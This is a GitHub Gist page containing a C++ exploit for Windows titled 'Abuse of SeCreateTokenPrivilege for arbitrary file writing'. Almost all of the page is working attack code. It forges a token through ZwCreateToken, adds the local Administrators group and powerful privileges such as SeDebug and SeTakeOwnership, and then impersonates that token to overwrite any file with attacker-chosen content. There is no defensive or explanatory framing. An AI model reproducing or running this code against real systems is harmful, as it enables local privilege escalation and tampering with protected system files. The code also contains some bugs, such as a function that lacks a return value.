Created
July 6, 2023 11:17
-
-
Save wh0amitz/62b1522609c77ab06a393fc756d62316 to your computer and use it in GitHub Desktop.
Abuse of SeCreateTokenPrivilege for arbitrary file writing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <winternl.h> | |
#define _NTDEF_ | |
#include <NTSecAPI.h> | |
#include <iostream> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sddl.h> | |
#include <lmaccess.h> | |
#pragma comment(lib, "Secur32.lib") | |
#pragma comment(lib, "Netapi32.lib") | |
#if !defined(NT_SUCCESS) | |
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) | |
#endif | |
#define SIZE 200000 | |
#define STATUS_SUCCESS 0 | |
typedef struct _SID_BUILTIN | |
{ | |
UCHAR Revision; | |
UCHAR SubAuthorityCount; | |
SID_IDENTIFIER_AUTHORITY IdentifierAuthority; | |
ULONG SubAuthority[2]; | |
} SID_BUILTIN, * PSID_BUILTIN; | |
typedef struct _SID_INTEGRITY | |
{ | |
UCHAR Revision; | |
UCHAR SubAuthorityCount; | |
SID_IDENTIFIER_AUTHORITY IdentifierAuthority; | |
ULONG SubAuthority[1]; | |
} SID_INTEGRITY, * PSID_INTEGRITY; | |
typedef NTSYSAPI NTSTATUS(NTAPI* _ZwCreateToken)( | |
OUT PHANDLE TokenHandle, | |
IN ACCESS_MASK DesiredAccess, | |
IN POBJECT_ATTRIBUTES ObjectAttributes, | |
IN TOKEN_TYPE Type, | |
IN PLUID AuthenticationId, | |
IN PLARGE_INTEGER ExpirationTime, | |
IN PTOKEN_USER User, | |
IN PTOKEN_GROUPS Groups, | |
IN PTOKEN_PRIVILEGES Privileges, | |
IN PTOKEN_OWNER Owner, | |
IN PTOKEN_PRIMARY_GROUP PrimaryGroup, | |
IN PTOKEN_DEFAULT_DACL DefaultDacl, | |
IN PTOKEN_SOURCE Source | |
); | |
BOOL ExploitSeCreateTokenPrivilege(LPCWSTR sourceFile, LPCWSTR destFile) | |
{ | |
BOOL status = FALSE; | |
HANDLE hSource, hDestination; | |
char buffer[SIZE + 1]; | |
DWORD dwBytesRead, dwBytesWrite; | |
if (sourceFile && destFile) | |
{ | |
// Open source file. | |
hSource = CreateFileW(sourceFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); | |
if (hSource == INVALID_HANDLE_VALUE) | |
{ | |
wprintf(L"[-] Could not open source file by CreateFileW: [%u].\n", GetLastError()); | |
return status; | |
} | |
// Create destination file. | |
hDestination = CreateFileW(destFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); | |
if (hDestination == INVALID_HANDLE_VALUE) | |
{ | |
wprintf(L"[-] Could not create destination file by CreateFileW: [%u].\n", GetLastError()); | |
return status; | |
} | |
// Read from source file. | |
if (!ReadFile(hSource, buffer, SIZE, &dwBytesRead, NULL)) | |
{ | |
wprintf(L"[-] ReadFile Error: [%u].\n", GetLastError()); | |
return status; | |
} | |
wprintf(L"[*] Read bytes from %ws: %d\n", sourceFile, dwBytesRead); | |
// Write to destination file. | |
if (!WriteFile(hDestination, buffer, dwBytesRead, &dwBytesWrite, NULL)) | |
{ | |
wprintf(L"[-] WriteFile Error: [%u].\n", GetLastError()); | |
return status; | |
} | |
printf("[*] Bytes written to %ws: %d\n", destFile, dwBytesWrite); | |
status = TRUE; | |
} | |
} | |
PVOID GetTokenInfo(HANDLE hToken, TOKEN_INFORMATION_CLASS TokenInfoClass) | |
{ | |
DWORD dwLength = 0; | |
PVOID pTokenData = NULL; | |
if (!GetTokenInformation(hToken, TokenInfoClass, NULL, 0, &dwLength)) | |
{ | |
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) | |
{ | |
wprintf(L"[-] GetTokenInformation Error: [%u].\n", GetLastError()); | |
goto Clear; | |
} | |
pTokenData = LocalAlloc(LPTR, dwLength); | |
if (!GetTokenInformation(hToken, TokenInfoClass, pTokenData, dwLength, &dwLength)) | |
{ | |
wprintf(L"[-] GetTokenInformation Error: [%u].\n", GetLastError()); | |
goto Clear; | |
} | |
return pTokenData; | |
} | |
Clear: | |
if (pTokenData != NULL) | |
LocalFree(pTokenData); | |
return 0; | |
} | |
BOOL DisplayTokenInformation(HANDLE hToken) | |
{ | |
BOOL status = FALSE; | |
DWORD dwLength = 0; | |
PTOKEN_STATISTICS pTokenStatistics = NULL; | |
PTOKEN_GROUPS pTokenGroups = NULL; | |
DWORD dwNameSize; | |
DWORD dwDomainSize; | |
LPWSTR lpGroupName = NULL; | |
LPWSTR lpDomainName = NULL; | |
LPWSTR lpGroupAccountName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR)); | |
SID_NAME_USE peUse; | |
PTOKEN_MANDATORY_LABEL pTokenIntegrityLevel = NULL; | |
PSID pSid; | |
LPWSTR lpGroupSid; | |
LPWSTR lpIntegritySid; | |
UINT len = 0; | |
PTOKEN_PRIVILEGES pTokenPrivileges = NULL; | |
LPWSTR lpName = NULL; | |
LPWSTR lpAttrbutes = (LPWSTR)LocalAlloc(LPTR, 8 * sizeof(WCHAR)); | |
// Get Token Statistics Information | |
pTokenStatistics = (PTOKEN_STATISTICS)GetTokenInfo(hToken, TokenStatistics); | |
if (pTokenStatistics != NULL) | |
{ | |
wprintf(L" > Token Statistics Information: \n"); | |
wprintf(L" Token Id : %u:%u (%08x:%08x)\n", pTokenStatistics->TokenId.HighPart, pTokenStatistics->TokenId.LowPart, pTokenStatistics->TokenId.HighPart, pTokenStatistics->TokenId.LowPart); | |
wprintf(L" Authentication Id : %u:%u (%08x:%08x)\n", pTokenStatistics->AuthenticationId.HighPart, pTokenStatistics->AuthenticationId.LowPart, pTokenStatistics->AuthenticationId.HighPart, pTokenStatistics->AuthenticationId.LowPart); | |
wprintf(L" Token Type : %d\n", pTokenStatistics->TokenType); | |
wprintf(L" Impersonation Level : %d\n", pTokenStatistics->ImpersonationLevel); | |
wprintf(L" Group Count : %d\n", pTokenStatistics->GroupCount); | |
wprintf(L" Privilege Count : %d\n\n", pTokenStatistics->PrivilegeCount); | |
status = TRUE; | |
} | |
pTokenGroups = (PTOKEN_GROUPS)GetTokenInfo(hToken, TokenGroups); | |
if (pTokenGroups != NULL) | |
{ | |
wprintf(L" > Token Group Information: \n"); | |
for (DWORD i = 0; i < pTokenGroups->GroupCount; i++) | |
{ | |
if (!(pTokenGroups->Groups[i].Attributes & SE_GROUP_LOGON_ID)) | |
{ | |
pSid = pTokenGroups->Groups[i].Sid; | |
dwNameSize = MAX_PATH; | |
dwDomainSize = MAX_PATH; | |
lpGroupName = (LPWSTR)LocalAlloc(LPTR, dwNameSize * sizeof(WCHAR)); | |
lpDomainName = (LPWSTR)LocalAlloc(LPTR, dwDomainSize * sizeof(WCHAR)); | |
if (!LookupAccountSidW(NULL, pSid, lpGroupName, &dwNameSize, lpDomainName, &dwDomainSize, &peUse)) | |
{ | |
wprintf(L"[-] LookupAccountSidW Error: [%u].\n", GetLastError()); | |
goto Clear; | |
} | |
if (!ConvertSidToStringSidW(pSid, &lpGroupSid)) { | |
wprintf(L"[-] ConvertSidToStringSidW Error: [%u].\n", GetLastError()); | |
goto Clear; | |
} | |
len = wsprintf(lpGroupAccountName, TEXT("%ws%ws%ws"), lpDomainName, dwDomainSize != 0 ? L"\\" : L"", lpGroupName); | |
wprintf(L" %-50ws%ws\n", lpGroupAccountName, lpGroupSid); | |
dwNameSize = MAX_PATH; | |
dwDomainSize = MAX_PATH; | |
} | |
} | |
status = TRUE; | |
} | |
pTokenIntegrityLevel = (PTOKEN_MANDATORY_LABEL)GetTokenInfo(hToken, TokenIntegrityLevel); | |
if (pTokenIntegrityLevel != NULL) | |
{ | |
wprintf(L"\n > Token Integrity Level: \n"); | |
pSid = pTokenIntegrityLevel->Label.Sid; | |
if (!ConvertSidToStringSidW(pSid, &lpIntegritySid)) { | |
wprintf(L"[-] ConvertSidToStringSidW Error: [%u].\n", GetLastError()); | |
goto Clear; | |
} | |
wprintf(L" %ws\n", lpIntegritySid); | |
status = TRUE; | |
} | |
pTokenPrivileges = (PTOKEN_PRIVILEGES)GetTokenInfo(hToken, TokenPrivileges); | |
wprintf(L"\n > Token Privileges Information: \n"); | |
dwLength = MAX_PATH; | |
for (int i = 0; i < pTokenPrivileges->PrivilegeCount; i++) | |
{ | |
lpName = (LPWSTR)LocalAlloc(LPTR, dwLength * sizeof(WCHAR)); | |
if (!(status = LookupPrivilegeNameW(NULL, &pTokenPrivileges->Privileges[i].Luid, lpName, &dwLength))) | |
{ | |
wprintf(L"[-] LookupPrivilegeNameW Error: [%u].\n", GetLastError()); | |
return status; | |
} | |
wprintf(L" %-50ws", lpName); | |
if (pTokenPrivileges->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED) | |
len += wsprintf(lpAttrbutes, TEXT("Enabled")); | |
if (pTokenPrivileges->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED_BY_DEFAULT) | |
len += wsprintf(lpAttrbutes, TEXT("Enabled")); | |
if (lpAttrbutes[0] == 0) | |
wsprintf(lpAttrbutes, TEXT("Disabled")); | |
wprintf(L"%ws\n", lpAttrbutes); | |
dwLength = MAX_PATH; | |
} | |
Clear: | |
if (pTokenStatistics != NULL) | |
LocalFree(pTokenStatistics); | |
if (pTokenGroups != NULL) | |
LocalFree(pTokenGroups); | |
return status; | |
} | |
void SetTokenPrivileges(PTOKEN_PRIVILEGES pTokenPrivileges) | |
{ | |
LUID luid; | |
pTokenPrivileges->PrivilegeCount = 6; | |
// Enable SeImpersonatePrivilege | |
LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid); | |
pTokenPrivileges->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | |
pTokenPrivileges->Privileges[0].Luid = luid; | |
// Enable SeAssignPrimaryTokenPrivilege | |
LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luid); | |
pTokenPrivileges->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED; | |
pTokenPrivileges->Privileges[1].Luid = luid; | |
// Enable SeCreateTokenPrivilege | |
LookupPrivilegeValue(NULL, SE_CREATE_TOKEN_NAME, &luid); | |
pTokenPrivileges->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED; | |
pTokenPrivileges->Privileges[2].Luid = luid; | |
// Enable SeRestorePrivilege | |
LookupPrivilegeValue(NULL, SE_RESTORE_NAME, &luid); | |
pTokenPrivileges->Privileges[3].Attributes = SE_PRIVILEGE_ENABLED; | |
pTokenPrivileges->Privileges[3].Luid = luid; | |
// Enable SeTakeOwnershipPrivilege | |
LookupPrivilegeValue(NULL, SE_TAKE_OWNERSHIP_NAME, &luid); | |
pTokenPrivileges->Privileges[4].Attributes = SE_PRIVILEGE_ENABLED; | |
pTokenPrivileges->Privileges[4].Luid = luid; | |
// Enable SeDebugPrivilege | |
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); | |
pTokenPrivileges->Privileges[5].Attributes = SE_PRIVILEGE_ENABLED; | |
pTokenPrivileges->Privileges[5].Luid = luid; | |
} | |
HANDLE CreateUserToken(HANDLE hToken) | |
{ | |
NTSTATUS Status; | |
HANDLE pElevatedToken = NULL; | |
PTOKEN_USER pTokenUser = NULL; | |
PTOKEN_PRIVILEGES pTokenPrivileges = NULL; | |
PTOKEN_GROUPS pTokenGroups = NULL; | |
PTOKEN_PRIMARY_GROUP pTokenPrimaryGroup = NULL; | |
PTOKEN_DEFAULT_DACL pTokenDefaultDacl = NULL; | |
TOKEN_SOURCE tokenSource; | |
PTOKEN_OWNER pTokenOwner = NULL; | |
SECURITY_QUALITY_OF_SERVICE securityQualityOfService = { sizeof(securityQualityOfService), SecurityImpersonation, SECURITY_STATIC_TRACKING, FALSE }; | |
OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes), 0, 0, 0, 0, &securityQualityOfService }; | |
LUID AuthenticationId = ANONYMOUS_LOGON_LUID; | |
LARGE_INTEGER ExpirationTime; | |
_ZwCreateToken ZwCreateToken; | |
PISID pSid = NULL; | |
SID_BUILTIN LocalAdminGroupSID = { 1, 2,{ 0, 0, 0, 0, 0, 5 },{ 32, DOMAIN_ALIAS_RID_ADMINS } }; | |
SID_INTEGRITY IntegrityMediumSID = { 1, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID }; | |
HANDLE hThread = NULL; | |
ZwCreateToken = (_ZwCreateToken)GetProcAddress(LoadLibraryA("ntdll"), "ZwCreateToken"); | |
if (ZwCreateToken == NULL) { | |
printf("[-] Failed to load ZwCreateToken: %d\n", GetLastError()); | |
return NULL; | |
} | |
wprintf(L"[*] ZwCreateToken function loaded.\n"); | |
pTokenUser = (PTOKEN_USER)GetTokenInfo(hToken, TokenUser); | |
strcpy_s(tokenSource.SourceName, TOKEN_SOURCE_LENGTH, "User32"); | |
AllocateLocallyUniqueId(&tokenSource.SourceIdentifier); | |
pTokenPrivileges = (PTOKEN_PRIVILEGES)LocalAlloc(LMEM_FIXED, sizeof(TOKEN_PRIVILEGES) + (sizeof(LUID_AND_ATTRIBUTES) * 4)); | |
pTokenPrivileges = (PTOKEN_PRIVILEGES)GetTokenInfo(hToken, TokenPrivileges); | |
SetTokenPrivileges(pTokenPrivileges); | |
pTokenGroups = (PTOKEN_GROUPS)GetTokenInfo(hToken, TokenGroups); | |
pTokenPrimaryGroup = (PTOKEN_PRIMARY_GROUP)GetTokenInfo(hToken, TokenPrimaryGroup); | |
pTokenDefaultDacl = (PTOKEN_DEFAULT_DACL)GetTokenInfo(hToken, TokenDefaultDacl); | |
for (DWORD i = 0; i < pTokenGroups->GroupCount; i++) | |
{ | |
if (pTokenGroups->Groups[i].Attributes & SE_GROUP_INTEGRITY) | |
{ | |
memcpy(pTokenGroups->Groups[i].Sid, &IntegrityMediumSID, sizeof(IntegrityMediumSID)); | |
wprintf(L"[*] Set the token integrity level to medium.\n"); | |
} | |
pSid = (PISID)pTokenGroups->Groups[i].Sid; | |
if (pSid->SubAuthority[pSid->SubAuthorityCount - 1] == DOMAIN_ALIAS_RID_USERS) | |
{ | |
memcpy(pSid, &LocalAdminGroupSID, sizeof(LocalAdminGroupSID)); | |
pTokenGroups->Groups[i].Attributes = SE_GROUP_ENABLED; | |
wprintf(L"[*] Add extra SID S-1-5-32-544 to token.\n"); | |
} | |
else | |
{ | |
pTokenGroups->Groups[i].Attributes &= ~SE_GROUP_USE_FOR_DENY_ONLY; | |
pTokenGroups->Groups[i].Attributes &= ~SE_GROUP_ENABLED; | |
} | |
} | |
pTokenOwner = (PTOKEN_OWNER)LocalAlloc(LPTR, sizeof(PSID)); | |
pTokenOwner->Owner = pTokenUser->User.Sid; | |
ExpirationTime.HighPart = 0xFFFFFFFF; | |
ExpirationTime.LowPart = 0xFFFFFFFF; | |
Status = ZwCreateToken( | |
&pElevatedToken, | |
TOKEN_ALL_ACCESS, | |
&objectAttributes, | |
TokenImpersonation, | |
&AuthenticationId, | |
&ExpirationTime, | |
pTokenUser, | |
pTokenGroups, | |
pTokenPrivileges, | |
pTokenOwner, | |
pTokenPrimaryGroup, | |
pTokenDefaultDacl, | |
&tokenSource | |
); | |
if (Status != STATUS_SUCCESS) | |
{ | |
wprintf(L"[-] ZwCreateToken Error: [0x%x].\n", Status); | |
goto Clear; | |
} | |
wprintf(L"[*] ZwCreateToken successfully and get elevated token:\n\n"); | |
goto Clear; | |
Clear: | |
if (pTokenPrivileges) | |
LocalFree(pTokenPrivileges); | |
if (pTokenOwner) | |
LocalFree(pTokenOwner); | |
if (hToken) | |
CloseHandle(hToken); | |
return pElevatedToken; | |
} | |
BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName) | |
{ | |
BOOL status = FALSE; | |
LUID luidValue = { 0 }; | |
TOKEN_PRIVILEGES tokenPrivileges; | |
// Get the LUID value of the privilege for the local system | |
if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) | |
{ | |
wprintf(L"[-] LookupPrivilegeValue Error: [%u].\n", GetLastError()); | |
return status; | |
} | |
// Set escalation information | |
tokenPrivileges.PrivilegeCount = 1; | |
tokenPrivileges.Privileges[0].Luid = luidValue; | |
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | |
// Elevate Process Token Access | |
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL)) | |
{ | |
wprintf(L"[-] AdjustTokenPrivileges Error: [%u].\n", GetLastError()); | |
return status; | |
} | |
else | |
{ | |
status = TRUE; | |
} | |
return status; | |
} | |
int wmain(int argc, wchar_t* argv[]) | |
{ | |
HANDLE hToken = NULL; | |
HANDLE pElevatedToken = NULL; | |
HANDLE hThread = NULL; | |
LPCWSTR sourceFile = NULL; | |
LPCWSTR destFile = NULL; | |
while ((argc > 1) && (argv[1][0] == '-')) | |
{ | |
switch (argv[1][1]) | |
{ | |
case 's': | |
++argv; | |
--argc; | |
if (argc > 1 && argv[1][0] != '-') | |
{ | |
sourceFile = (LPCWSTR)argv[1]; | |
} | |
break; | |
case 'd': | |
++argv; | |
--argc; | |
if (argc > 1 && argv[1][0] != '-') | |
{ | |
destFile = (LPCWSTR)argv[1]; | |
} | |
break; | |
default: | |
wprintf(L"[-] Invalid Argument: %s.\n", argv[1]); | |
return 0; | |
} | |
++argv; | |
--argc; | |
} | |
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) | |
{ | |
wprintf(L"[-] OpenProcessToken Error: [%u].\n", GetLastError()); | |
return 0; | |
} | |
// Enable SeCreateTokenPrivilege for the current process token. | |
if (!EnableTokenPrivilege(hToken, SE_CREATE_TOKEN_NAME)) | |
{ | |
wprintf(L"[-] Failed to enable SeCreateTokenPrivilege for the current process token.\n"); | |
return 0; | |
} | |
pElevatedToken = CreateUserToken(hToken); | |
if (pElevatedToken == NULL) | |
{ | |
wprintf(L"[-] Failed to create user token.\n"); | |
return 0; | |
} | |
if (!DisplayTokenInformation(pElevatedToken)) | |
{ | |
wprintf(L"[-] Failed to get S4U token information.\n"); | |
return 0; | |
} | |
hThread = GetCurrentThread(); | |
if (!SetThreadToken(&hThread, pElevatedToken)) | |
{ | |
wprintf(L"[-] SetThreadToken Error: [%u].\n", GetLastError()); | |
return 0; | |
} | |
wprintf(L"\n[*] Successfully impersonated the elevated token.\n"); | |
if (!ExploitSeCreateTokenPrivilege(sourceFile, destFile)) | |
{ | |
wprintf(L"[-] Failed to exploit SeCreateTokenPrivilege.\n"); | |
return 0; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment